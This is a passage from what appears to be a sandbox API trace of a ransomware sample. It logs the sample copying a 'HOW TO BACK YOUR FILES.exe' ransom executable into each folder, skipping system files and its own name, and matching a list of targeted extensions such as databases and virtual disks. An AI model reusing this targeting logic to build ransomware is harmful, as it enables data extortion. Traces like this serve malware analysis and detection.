FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\how to back your files.exe"), bFailIfExists=1) returned 0 [0117.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0117.260] GetLastError () returned 0x0 [0117.260] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0117.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x552140 [0117.260] ReadFile (in: hFile=0xf4, lpBuffer=0x552140, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x552140*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0117.261] CloseHandle (hObject=0xf4) returned 1 [0117.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.261] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0117.261] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xce0da4e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce0da4e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0117.261] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.261] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.261] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0117.261] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xce0da4e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce0da4e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.261] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.261] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.261] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0117.261] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0117.261] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1 [0117.261] lstrcmpiW (lpString1="ARFR", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.261] lstrcmpiW (lpString1="ARFR", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.261] lstrcmpiW (lpString1="ARFR", lpString2=".") returned 1 [0117.261] lstrcmpiW (lpString1="ARFR", lpString2="..") returned 1 [0117.261] lstrcmpiW (lpString1="ARFR", lpString2="windows") returned -1 [0117.261] lstrcmpiW (lpString1="ARFR", lpString2="bootmgr") returned -1 [0117.261] lstrcmpiW (lpString1="ARFR", lpString2="temp") returned -1 [0117.261] lstrcmpiW (lpString1="ARFR", lpString2="pagefile.sys") returned -1 [0117.261] lstrcmpiW (lpString1="ARFR", lpString2="boot") returned -1 [0117.261] lstrcmpiW (lpString1="ARFR", lpString2="ids.txt") returned -1 [0117.262] lstrcmpiW (lpString1="ARFR", lpString2="ntuser.dat") returned -1 [0117.262] lstrcmpiW (lpString1="ARFR", lpString2="perflogs") returned -1 [0117.262] lstrcmpiW (lpString1="ARFR", lpString2="MSBuild") returned -1 [0117.262] lstrlenW (lpString="ARFR") returned 4 [0117.262] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ARFR" | out: lpString1="ARFR") returned="ARFR" [0117.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ae88 [0117.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x54e7f8 [0117.262] lstrcatW (in: lpString1="ARFR", lpString2="\\" | out: lpString1="ARFR\\") returned="ARFR\\" [0117.262] lstrcatW (in: lpString1="ARFR\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ARFR\\HOW TO BACK YOUR FILES.exe") returned="ARFR\\HOW TO BACK YOUR FILES.exe" [0117.262] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.266] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1 [0117.266] lstrcmpiW (lpString1="ENES", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.266] lstrcmpiW (lpString1="ENES", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.266] lstrcmpiW (lpString1="ENES", lpString2=".") returned 1 [0117.267] lstrcmpiW (lpString1="ENES", lpString2="..") returned 1 [0117.267] lstrcmpiW (lpString1="ENES", lpString2="windows") returned -1 [0117.267] lstrcmpiW (lpString1="ENES", lpString2="bootmgr") returned 1 [0117.267] lstrcmpiW (lpString1="ENES", lpString2="temp") returned -1 [0117.267] lstrcmpiW (lpString1="ENES", lpString2="pagefile.sys") returned -1 [0117.267] lstrcmpiW (lpString1="ENES", lpString2="boot") returned 1 [0117.267] lstrcmpiW (lpString1="ENES", lpString2="ids.txt") returned -1 [0117.267] lstrcmpiW (lpString1="ENES", lpString2="ntuser.dat") returned -1 [0117.267] lstrcmpiW (lpString1="ENES", lpString2="perflogs") returned -1 [0117.267] lstrcmpiW (lpString1="ENES", lpString2="MSBuild") returned -1 [0117.267] lstrlenW (lpString="ENES") returned 4 [0117.267] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ENES" | out: lpString1="ENES") returned="ENES" [0117.267] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547d20 [0117.267] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x54e880 [0117.267] lstrcatW (in: lpString1="ENES", lpString2="\\" | out: lpString1="ENES\\") returned="ENES\\" [0117.267] lstrcatW (in: lpString1="ENES\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ENES\\HOW TO BACK YOUR FILES.exe") returned="ENES\\HOW TO BACK YOUR FILES.exe" [0117.267] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.270] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1 [0117.270] lstrcmpiW (lpString1="ENFR", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.270] lstrcmpiW (lpString1="ENFR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.270] lstrcmpiW (lpString1="ENFR", lpString2=".") returned 1 [0117.270] lstrcmpiW (lpString1="ENFR", lpString2="..") returned 1 [0117.270] lstrcmpiW (lpString1="ENFR", lpString2="windows") returned -1 [0117.270] lstrcmpiW (lpString1="ENFR", lpString2="bootmgr") returned 1 [0117.270] lstrcmpiW (lpString1="ENFR", lpString2="temp") returned -1 [0117.270] lstrcmpiW (lpString1="ENFR", lpString2="pagefile.sys") returned -1 [0117.270] lstrcmpiW (lpString1="ENFR", lpString2="boot") returned 1 [0117.270] lstrcmpiW (lpString1="ENFR", lpString2="ids.txt") returned -1 [0117.270] lstrcmpiW (lpString1="ENFR", lpString2="ntuser.dat") returned -1 [0117.270] lstrcmpiW (lpString1="ENFR", lpString2="perflogs") returned -1 [0117.270] lstrcmpiW (lpString1="ENFR", lpString2="MSBuild") returned -1 [0117.270] lstrlenW (lpString="ENFR") returned 4 [0117.271] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ENFR" | out: lpString1="ENFR") returned="ENFR" [0117.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cf90 [0117.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x54e908 [0117.271] lstrcatW (in: lpString1="ENFR", lpString2="\\" | out: lpString1="ENFR\\") returned="ENFR\\" [0117.271] lstrcatW (in: lpString1="ENFR\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ENFR\\HOW TO BACK YOUR FILES.exe") returned="ENFR\\HOW TO BACK YOUR FILES.exe" [0117.271] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.273] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1 [0117.273] lstrcmpiW (lpString1="ESEN", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.273] lstrcmpiW (lpString1="ESEN", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.273] lstrcmpiW (lpString1="ESEN", lpString2=".") returned 1 [0117.273] lstrcmpiW (lpString1="ESEN", lpString2="..") returned 1 [0117.273] lstrcmpiW (lpString1="ESEN", lpString2="windows") returned -1 [0117.273] lstrcmpiW (lpString1="ESEN", lpString2="bootmgr") returned 1 [0117.273] lstrcmpiW (lpString1="ESEN", lpString2="temp") returned -1 [0117.273] lstrcmpiW (lpString1="ESEN", lpString2="pagefile.sys") returned -1 [0117.273] lstrcmpiW (lpString1="ESEN", lpString2="boot") returned 1 [0117.273] lstrcmpiW (lpString1="ESEN", lpString2="ids.txt") returned -1 [0117.273] lstrcmpiW (lpString1="ESEN", lpString2="ntuser.dat") returned -1 [0117.273] lstrcmpiW (lpString1="ESEN", lpString2="perflogs") returned -1 [0117.273] lstrcmpiW (lpString1="ESEN", lpString2="MSBuild") returned -1 [0117.273] lstrlenW (lpString="ESEN") returned 4 [0117.273] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ESEN" | out: lpString1="ESEN") returned="ESEN" [0117.274] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cf78 [0117.274] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x54e990 [0117.274] lstrcatW (in: lpString1="ESEN", lpString2="\\" | out: lpString1="ESEN\\") returned="ESEN\\" [0117.274] lstrcatW (in: lpString1="ESEN\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ESEN\\HOW TO BACK YOUR FILES.exe") returned="ESEN\\HOW TO BACK YOUR FILES.exe" [0117.274] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.276] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FRAR", cAlternateFileName="")) returned 1 [0117.276] lstrcmpiW (lpString1="FRAR", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.276] lstrcmpiW (lpString1="FRAR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.276] lstrcmpiW (lpString1="FRAR", lpString2=".") returned 1 [0117.276] lstrcmpiW (lpString1="FRAR", lpString2="..") returned 1 [0117.276] lstrcmpiW (lpString1="FRAR", lpString2="windows") returned -1 [0117.276] lstrcmpiW (lpString1="FRAR", lpString2="bootmgr") returned 1 [0117.276] lstrcmpiW (lpString1="FRAR", lpString2="temp") returned -1 [0117.276] lstrcmpiW (lpString1="FRAR", lpString2="pagefile.sys") returned -1 [0117.276] lstrcmpiW (lpString1="FRAR", lpString2="boot") returned 1 [0117.276] lstrcmpiW (lpString1="FRAR", lpString2="ids.txt") returned -1 [0117.276] lstrcmpiW (lpString1="FRAR", lpString2="ntuser.dat") returned -1 [0117.277] lstrcmpiW (lpString1="FRAR", lpString2="perflogs") returned -1 [0117.277] lstrcmpiW (lpString1="FRAR", lpString2="MSBuild") returned -1 [0117.277] lstrlenW (lpString="FRAR") returned 4 [0117.277] lstrcpyW (in: lpString1=0x241e8b8, lpString2="FRAR" | out: lpString1="FRAR") returned="FRAR" [0117.277] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cf60 [0117.277] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x54ea18 [0117.277] lstrcatW (in: lpString1="FRAR", lpString2="\\" | out: lpString1="FRAR\\") returned="FRAR\\" [0117.277] lstrcatW (in: lpString1="FRAR\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="FRAR\\HOW TO BACK YOUR FILES.exe") returned="FRAR\\HOW TO BACK YOUR FILES.exe" [0117.277] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.280] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1 [0117.280] lstrcmpiW (lpString1="FREN", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.280] lstrcmpiW (lpString1="FREN", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.280] lstrcmpiW (lpString1="FREN", lpString2=".") returned 1 [0117.280] lstrcmpiW (lpString1="FREN", lpString2="..") returned 1 [0117.280] lstrcmpiW (lpString1="FREN", lpString2="windows") returned -1 [0117.280] lstrcmpiW (lpString1="FREN", lpString2="bootmgr") returned 1 [0117.280] lstrcmpiW (lpString1="FREN", lpString2="temp") returned -1 [0117.280] lstrcmpiW (lpString1="FREN", lpString2="pagefile.sys") returned -1 [0117.280] lstrcmpiW (lpString1="FREN", lpString2="boot") returned 1 [0117.280] lstrcmpiW (lpString1="FREN", lpString2="ids.txt") returned -1 [0117.280] lstrcmpiW (lpString1="FREN", lpString2="ntuser.dat") returned -1 [0117.280] lstrcmpiW (lpString1="FREN", lpString2="perflogs") returned -1 [0117.280] lstrcmpiW (lpString1="FREN", lpString2="MSBuild") returned -1 [0117.280] lstrlenW (lpString="FREN") returned 4 [0117.280] lstrcpyW (in: lpString1=0x241e8b8, lpString2="FREN" | out: lpString1="FREN") returned="FREN" [0117.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cf48 [0117.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x54eaa0 [0117.280] lstrcatW (in: lpString1="FREN", lpString2="\\" | out: lpString1="FREN\\") returned="FREN\\" [0117.280] lstrcatW (in: lpString1="FREN\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="FREN\\HOW TO BACK YOUR FILES.exe") returned="FREN\\HOW TO BACK YOUR FILES.exe" [0117.280] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.285] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce0da4e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce0da4e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0117.285] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0117.285] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1 [0117.285] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.285] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.285] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2=".") returned 1 [0117.285] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="..") returned 1 [0117.285] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="windows") returned -1 [0117.285] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="bootmgr") returned 1 [0117.285] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="temp") returned -1 [0117.285] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="pagefile.sys") returned -1 [0117.285] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="boot") returned 1 [0117.285] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="ids.txt") returned 1 [0117.285] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="ntuser.dat") returned -1 [0117.285] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="perflogs") returned -1 [0117.286] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="MSBuild") returned -1 [0117.286] lstrlenW (lpString="MSB1AR.LEX") returned 10 [0117.286] lstrcpyW (in: lpString1=0x241e8b8, lpString2="MSB1AR.LEX" | out: lpString1="MSB1AR.LEX") returned="MSB1AR.LEX" [0117.286] lstrlenW (lpString="MSB1AR.LEX") returned 10 [0117.286] lstrlenW (lpString="Athena865") returned 9 [0117.286] lstrcmpiW (lpString1="SB1AR.LEX", lpString2="Athena865") returned 1 [0117.286] lstrlenW (lpString=".dll") returned 4 [0117.286] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2=".dll") returned 1 [0117.286] lstrlenW (lpString=".lnk") returned 4 [0117.286] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2=".lnk") returned 1 [0117.286] lstrlenW (lpString=".ini") returned 4 [0117.286] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2=".ini") returned 1 [0117.286] lstrlenW (lpString=".sys") returned 4 [0117.286] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2=".sys") returned 1 [0117.286] lstrlenW (lpString="MSB1AR.LEX") returned 10 [0117.286] lstrlenW (lpString="bak") returned 3 [0117.286] lstrcmpiW (lpString1="LEX", lpString2="bak") returned 1 [0117.286] lstrlenW (lpString="ba_") returned 3 [0117.286] lstrcmpiW (lpString1="LEX", lpString2="ba_") returned 1 [0117.286] lstrlenW (lpString="dbb") returned 3 [0117.286] lstrcmpiW (lpString1="LEX", lpString2="dbb") returned 1 [0117.286] lstrlenW (lpString="vmdk") returned 4 [0117.286] lstrcmpiW (lpString1=".LEX", lpString2="vmdk") returned -1 [0117.286] lstrlenW (lpString="rar") returned 3 [0117.286] lstrcmpiW (lpString1="LEX", lpString2="rar") returned -1 [0117.286] lstrlenW (lpString="zip") returned 3 [0117.286] lstrcmpiW (lpString1="LEX", lpString2="zip") returned -1 [0117.287] lstrlenW (lpString="tgz") returned 3 [0117.287] lstrcmpiW (lpString1="LEX", lpString2="tgz") returned -1 [0117.287] lstrlenW (lpString="vbox") returned 4 [0117.287] lstrcmpiW (lpString1=".LEX", lpString2="vbox") returned -1 [0117.287] lstrlenW (lpString="vdi") returned 3 [0117.287] lstrcmpiW (lpString1="LEX", lpString2="vdi") returned -1 [0117.287] lstrlenW (lpString="vhd") returned 3 [0117.287] lstrcmpiW (lpString1="LEX", lpString2="vhd") returned -1 [0117.287] lstrlenW (lpString="vhdx") returned 4 [0117.287] lstrcmpiW (lpString1=".LEX", lpString2="vhdx") returned -1 [0117.287] lstrlenW (lpString="avhd") returned 4 [0117.287] lstrcmpiW (lpString1=".LEX", lpString2="avhd") returned -1 [0117.287] lstrlenW (lpString="db") returned 2 [0117.287] lstrcmpiW (lpString1="EX", lpString2="db") returned 1 [0117.287] lstrlenW (lpString="db2") returned 3 [0117.287] lstrcmpiW (lpString1="LEX", lpString2="db2") returned 1 [0117.287] lstrlenW (lpString="db3") returned 3 [0117.287] lstrcmpiW (lpString1="LEX", lpString2="db3") returned 1 [0117.287] lstrlenW (lpString="dbf") returned 3 [0117.287] lstrcmpiW (lpString1="LEX", lpString2="dbf") returned 1 [0117.287] lstrlenW (lpString="mdf") returned 3 [0117.287] lstrcmpiW (lpString1="LEX", lpString2="mdf") returned -1 [0117.287] lstrlenW (lpString="mdb") returned 3 [0117.287] lstrcmpiW (lpString1="LEX", lpString2="mdb") returned -1 [0117.287] lstrlenW (lpString="sql") returned 3 [0117.287] lstrcmpiW (lpString1="LEX", lpString2="sql") returned -1 [0117.287] lstrlenW (lpString="sqlite") returned 6 [0117.287] lstrcmpiW (lpString1="AR.LEX", lpString2="sqlite") returned -1 [0117.287] lstrlenW (lpString="sqlite3") returned 7 [0117.288] lstrcmpiW (lpString1="1AR.LEX", lpString2="sqlite3") returned -1 [0117.288] lstrlenW (lpString="sqlitedb") returned 8 [0117.288] lstrcmpiW (lpString1="B1AR.LEX", lpString2="sqlitedb") returned -1 [0117.288] lstrlenW (lpString="xml") returned 3 [0117.288] lstrcmpiW (lpString1="LEX", lpString2="xml") returned -1 [0117.288] lstrlenW (lpString="$er") returned 3 [0117.288] lstrcmpiW (lpString1="LEX", lpString2="$er") returned 1 [0117.288] lstrlenW (lpString="4dd") returned 3 [0117.288] lstrcmpiW (lpString1="LEX", lpString2="4dd") returned 1 [0117.288] lstrlenW (lpString="4dl") returned 3 [0117.288] lstrcmpiW (lpString1="LEX", lpString2="4dl") returned 1 [0117.288] lstrlenW (lpString="^^^") returned 3 [0117.288] lstrcmpiW (lpString1="LEX", lpString2="^^^") returned 1 [0117.288] lstrlenW (lpString="abs") returned 3 [0117.288] lstrcmpiW (lpString1="LEX", lpString2="abs") returned 1 [0117.288] lstrlenW (lpString="abx") returned 3 [0117.288] lstrcmpiW (lpString1="LEX", lpString2="abx") returned 1 [0117.288] lstrlenW (lpString="accdb") returned 5 [0117.288] lstrcmpiW (lpString1="R.LEX", lpString2="accdb") returned 1 [0117.288] lstrlenW (lpString="accdc") returned 5 [0117.288] lstrcmpiW (lpString1="R.LEX", lpString2="accdc") returned 1 [0117.288] lstrlenW (lpString="accde") returned 5 [0117.288] lstrcmpiW (lpString1="R.LEX", lpString2="accde") returned 1 [0117.288] lstrlenW (lpString="accdr") returned 5 [0117.288] lstrcmpiW (lpString1="R.LEX", lpString2="accdr") returned 1 [0117.288] lstrlenW (lpString="accdt") returned 5 [0117.288] lstrcmpiW (lpString1="R.LEX", lpString2="accdt") returned 1 [0117.288] lstrlenW (lpString="accdw") returned 5 [0117.288] lstrcmpiW (lpString1="R.LEX", lpString2="accdw") returned 1 [0117.289] lstrlenW (lpString="accft") returned 5 [0117.289] lstrcmpiW (lpString1="R.LEX", lpString2="accft") returned 1 [0117.289] lstrlenW (lpString="adb") returned 3 [0117.289] lstrcmpiW (lpString1="LEX", lpString2="adb") returned 1 [0117.289] lstrlenW (lpString="adb") returned 3 [0117.289] lstrcmpiW (lpString1="LEX", lpString2="adb") returned 1 [0117.289] lstrlenW (lpString="ade") returned 3 [0117.289] lstrcmpiW (lpString1="LEX", lpString2="ade") returned 1 [0117.289] lstrlenW (lpString="adf") returned 3 [0117.289] lstrcmpiW (lpString1="LEX", lpString2="adf") returned 1 [0117.289] lstrlenW (lpString="adn") returned 3 [0117.289] lstrcmpiW (lpString1="LEX", lpString2="adn") returned 1 [0117.289] lstrlenW (lpString="adp") returned 3 [0117.289] lstrcmpiW (lpString1="LEX", lpString2="adp") returned 1 [0117.289] lstrlenW (lpString="alf") returned 3 [0117.289] lstrcmpiW (lpString1="LEX", lpString2="alf") returned 1 [0117.289] lstrlenW (lpString="ask") returned 3 [0117.289] lstrcmpiW 